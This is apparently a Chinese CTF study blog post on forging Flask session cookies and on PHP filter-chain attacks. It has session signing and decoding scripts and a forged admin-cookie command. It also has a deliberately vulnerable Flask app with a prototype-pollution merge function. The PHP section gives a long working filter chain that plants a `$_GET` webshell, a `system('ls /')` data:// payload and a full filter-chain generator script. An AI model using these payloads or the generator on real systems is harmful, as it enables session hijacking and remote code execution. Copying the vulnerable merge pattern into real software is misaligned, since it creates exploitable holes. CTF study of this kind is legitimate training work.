flask session伪造 参考:https://www.cnblogs.com/GTL-JU/p/16960460.html
https://paoka1.top/2022/05/28/Flask-%E7%9A%84-SESSION-%E4%BC%AA%E9%80%A0/
在最近的几次比赛中都遇到了这个session,格式特别像JWT,没有了解过这个内容很可能混淆,所以这里学习一下
flask的session结构 这里我们可以用flask搭建一个本地网站生成session:
1 2 3 4 5 6 7 8 9 10 11 12 13 from flask import Flask, session, requestapp = Flask(__name__) app.secret_key = 'ZLARYY' @app.route('/' ,methods=['GET' ] ) def set_session (): name = request.args.get('name' ) session['name' ]=name return 'welcome %s' % name if __name__ == '__main__' : app.run(debug=True , port=8080 )
我们将session单独拿出来看看:
1 2 3 eyJuYW1lIjoiWkxBUllZIn0.acnmwQ.vk4_UCfBIl-iNcvTpc60DAXYB7w base64解码之后为{"name":"ZLARYY"}ry�B�8P'�"X�r��s�v�
由此我们可以直观地看到:flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。
时间戳 :用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名 :是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。
伪造session 那么伪造flask session的方法就很清晰了:与JWT伪造相同,我们需要知道SECRET_KEY。
需要用到的工具:https://github.com/noraj/flask-session-cookie-manager
这里我们已知SECRET_KEY是ZLARYY,那么我们利用这个工具尝试伪造一个session,在此之前我们把源码的内容稍微修改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, session, requestapp = Flask(__name__) app.secret_key = 'ZLARYY' @app.route('/' , methods=['GET' ] ) def index (): if 'name' in request.args: name = request.args.get('name' ) session['name' ] = name current_user = session.get('name' ) if current_user == 'admin' : return 'flag is ZLARYY{Y0u_Ar3_f1a5k_SEs5l0n_m@s73r}' else : return f'Welcome, {current_user} ' if __name__ == '__main__' : app.run(debug=True , port=8080 )
这样就能验证我哦们的session是否伪造成功了
我们将生成的cookie替换浏览器上的cookie:
伪造成功
或者这里还有一个生成 cookie的python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flaskfrom flask.sessions import SecureCookieSessionInterfaceapp = Flask(__name__) app.secret_key = 'ZLARYY' fake_session = {'name' : 'admin' } serializer = SecureCookieSessionInterface().get_signing_serializer(app) cookie_data = serializer.dumps(fake_session) if isinstance (cookie_data, bytes ): forged_cookie = cookie_data.decode('utf-8' ) else : forged_cookie = cookie_data print (f"伪造的Cookie:\n{forged_cookie} \n" )
例题 [NSSRound#13 Basic]flask?jwt? 这道题我们随便注册一个账号登录进去查看一下session:
1 session=.eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E
可以看到前面有一个.号,明显不符合我们刚才所说的session格式:如果 Session 的第一段以 . 开头,这意味着这串数据在Base64编码之前,先经过了zlib压缩。
我们用这串python脚本解码看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import base64import zlibimport jsoncookie = ".eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E" payload = cookie.split('.' )[1 ] padding = '=' * (4 - (len (payload) % 4 )) padded_payload = payload + padding compressed_data = base64.urlsafe_b64decode(padded_payload) json_bytes = zlib.decompress(compressed_data) parsed_data = json.loads(json_bytes.decode('utf-8' )) print ("session内容:" )print (json.dumps(parsed_data, indent=4 , ensure_ascii=False ))
当Session里的数据比较多(比如存了复杂的字典或长字符串)时,Flask就会自动触发压缩机制
回到这道题,我们可以在一开始的忘记密码页面找到secret_key:
猜测admin的_user_id是1,执行:
1 python3 flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh':True,'_id':'f6096af435bac7d1616a0649a3ce07738100f53270dfaa4a15b602c0d3af8367a17ce41804e00d74d294357455b48cd2355de1fa19693cc45b63988629efcc26','_user_id': '1'}"
最后替换到cookie中刷新界面点击拿flag就好了:
python原型链污染与session伪造 学到这里联想到了之前存在的python原型链污染,结合起来可以出一道题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 from flask import Flask, request, session, jsonify, render_template_stringimport osapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(32 ).hex () HTML_PAGE = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>ZLARYY's User Center</title> <style> /* 默认亮色主题 */ body.light { background-color: #f4f6f9; color: #333; transition: 0.5s; } .box.light { background: white; border: 1px solid #ddd; } /* 暗黑主题 */ body.dark { background-color: #1a1a1a; color: #00ff00; transition: 0.5s; } .box.dark { background: #222; border: 1px solid #00ff00; box-shadow: 0 0 10px #00ff00; } body { font-family: 'Courier New', Courier, monospace; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .container { text-align: center; padding: 40px; border-radius: 10px; width: 400px;} button { padding: 10px 20px; margin: 10px; cursor: pointer; border-radius: 5px; border: 1px solid #888; font-weight: bold; } .flag-btn { background-color: #e74c3c; color: white; border: none; margin-top: 30px;} </style> </head> <body class="light" id="page-body"> <div class="container box light" id="content-box"> <h2>👋 Welcome, <span id="role-text">{{ role }}</span>!</h2> <p>You can customize your profile theme below.</p> <hr> <p>Theme Settings:</p> <button onclick="updateTheme('light')">☀️ Light Mode</button> <button onclick="updateTheme('dark')">🌙 Dark Mode</button> <br> <button class="flag-btn" onclick="getFlag()">🚩 Get Secret Flag</button> </div> <script> // 前端通过 Fetch API 发送 JSON 数据给后端 function updateTheme(themeName) { fetch('/api/update_profile', { method: 'POST', headers: { 'Content-Type': 'application/json' }, // 正常业务只会发送类似 {"theme": "dark"} 的数据 body: JSON.stringify({ "theme": themeName }) }) .then(res => res.json()) .then(data => { if(data.current_theme) { // 动态切换前端 CSS 类名 document.getElementById('page-body').className = data.current_theme; document.getElementById('content-box').className = "container box " + data.current_theme; console.log("Profile updated:", data.msg); } }); } // 尝试获取 Flag 的请求 function getFlag() { fetch('/get_flag') .then(res => res.json()) .then(data => { if(data.flag) { alert("🎉 Success! " + data.flag); } else { alert("❌ Error: " + data.error); } }); } </script> </body> </html> """ class UserProfile : def __init__ (self ): self .theme = "light" self .language = "zh_CN" current_profile = UserProfile() def unsafe_merge (target, payload ): for key, value in payload.items(): if isinstance (target, dict ): if isinstance (value, dict ) and key in target: unsafe_merge(target[key], value) else : target[key] = value elif hasattr (target, key): if isinstance (value, dict ): unsafe_merge(getattr (target, key), value) else : setattr (target, key, value) @app.route('/' , methods=['GET' ] ) def index (): if not session.get('role' ): session['role' ] = 'guest' return render_template_string(HTML_PAGE, role=session.get('role' )) @app.route('/api/update_profile' , methods=['POST' ] ) def update_profile (): try : data = request.get_json() if not data: return jsonify({"error" : "Invalid JSON" }), 400 unsafe_merge(current_profile, data) return jsonify({ "msg" : "Theme synced successfully" , "current_theme" : current_profile.theme }) except Exception as e: return jsonify({"error" : str (e)}), 500 @app.route('/get_flag' , methods=['GET' ] ) def get_flag (): if session.get('role' ) == 'admin' : return jsonify({"flag" : "ZLARYY{Th3m3_Sw1tch_L3ads_T0_R00t}" }) else : return jsonify({"error" : "Access Denied. You are not admin!" }), 403 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=False )
这道题的思路是通过切换主题去尝试污染SECRET_KEY然后去伪造session,试试通过Get Secret Key拿到flag吧
filter-chain 这种利用姿势源自于漏洞CVE-2024-2961,本质上是实现从本地文件包含再到远程代码执行。
参考:https://err0r233.github.io/posts/28510.html
https://cloud.tencent.com/developer/article/2287108
一些常见的filter(过滤器) convert.base64-encode:执行base64加密处理
convert.base64-decode:执行base64解密
string.lower:将字符串转为小写
string.upper:将字符串转为大写
convert.iconv.X.Y:将字符串从X编码转换为Y编码形式
部分过滤器在之前写文件包含的exit死亡绕过的时候就已经提到过了,这里提一点进阶的内容:
convert.base664-decode有一个极其宽容的特性,当对字符串进行base64解码操作的时候,遇到不属于base64(a-z,A-Z,0-9,+/)字母表的内容,就会直接无视并丢弃,比如:
对这串字符串进行base64解码操作之后再次base64编码得到的结果
可以看到就是去除了特殊字符得到的结果
其实真正构造出payload的部分是靠iconv过滤器,比如将字符串从UTF-8转换为CSISO2022KR:
1 php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://text/plain,ZLARYY66
可以看到在我们的字符串前面加上了一个不可见字符和$)C,这样再经过一次base64解码和base64编码就会看到我们硬生生在字符串前面加上了一个字符C:
1 php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://text/plain,ZLARYY66
同理,我们利用其他的iconv过滤器就能构造出其他的字符,而文件包含是可以配合上RCE的:
1 php://filter/resource=data://text/plain,<?php system('ls /');?>
那么我们就可以尝试通过过滤器链构造出一段php代码添加在最后查询的文件前面,比如:
1 php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=ls /
这一串过滤器链产生的是<?=`$_GET['0']`?>这段php代码
EXP 这里给出之前提到参考文章中的一个大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 import argparseimport base64import refile_to_use = "php://temp" conversions = { '0' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2' , '1' : 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' , '2' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' , '3' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' , '4' : 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE' , '5' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2' , '6' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' , '7' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4' , '8' : 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB' , 'A' : 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' , 'a' : 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' , 'B' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000' , 'b' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , 'c' : 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' , 'D' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213' , 'd' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5' , 'E' : 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' , 'e' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' , 'F' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' , 'f' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' , 'g' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' , 'G' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' , 'H' : 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' , 'h' : 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' , 'I' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' , 'i' : 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' , 'J' : 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' , 'j' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' , 'K' : 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' , 'k' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' , 'L' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' , 'l' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' , 'M' :'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' , 'm' :'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' , 'N' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' , 'n' : 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' , 'O' : 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' , 'o' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' , 'P' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' , 'p' : 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' , 'q' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' , 'Q' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' , 'R' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' , 'r' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' , 'S' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' , 's' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' , 'T' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' , 't' : 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' , 'U' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943' , 'u' : 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' , 'V' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' , 'v' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2' , 'W' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' , 'w' : 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' , 'X' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' , 'x' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' , 'Y' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' , 'y' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' , 'Z' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' , 'z' : 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' , '/' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' , '+' : 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157' , '=' : '' } def generate_filter_chain (chain, debug_base64 = False ): encoded_chain = chain filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " return final_payload def main (): parser = argparse.ArgumentParser(description="PHP filter chain generator." ) parser.add_argument("--chain" , help ="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)" , required=False ) parser.add_argument("--rawbase64" , help ="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug." , required=False ) args = parser.parse_args() if args.chain is not None : chain = args.chain.encode('utf-8' ) base64_value = base64.b64encode(chain).decode('utf-8' ).replace("=" , "" ) chain = generate_filter_chain(base64_value) print ("[+] The following gadget chain will generate the following code : {} (base64 value: {})" .format (args.chain, base64_value)) print (chain) if args.rawbase64 is not None : rawbase64 = args.rawbase64.replace("=" , "" ) match = re.search("^([A-Za-z0-9+/])*$" , rawbase64) if (match ): chain = generate_filter_chain(rawbase64, True ) print (chain) else : print ("[-] Base64 string required." ) exit(1 ) if __name__ == "__main__" : main()
用法是python3 php_filter_generator.py --chain 'xxx'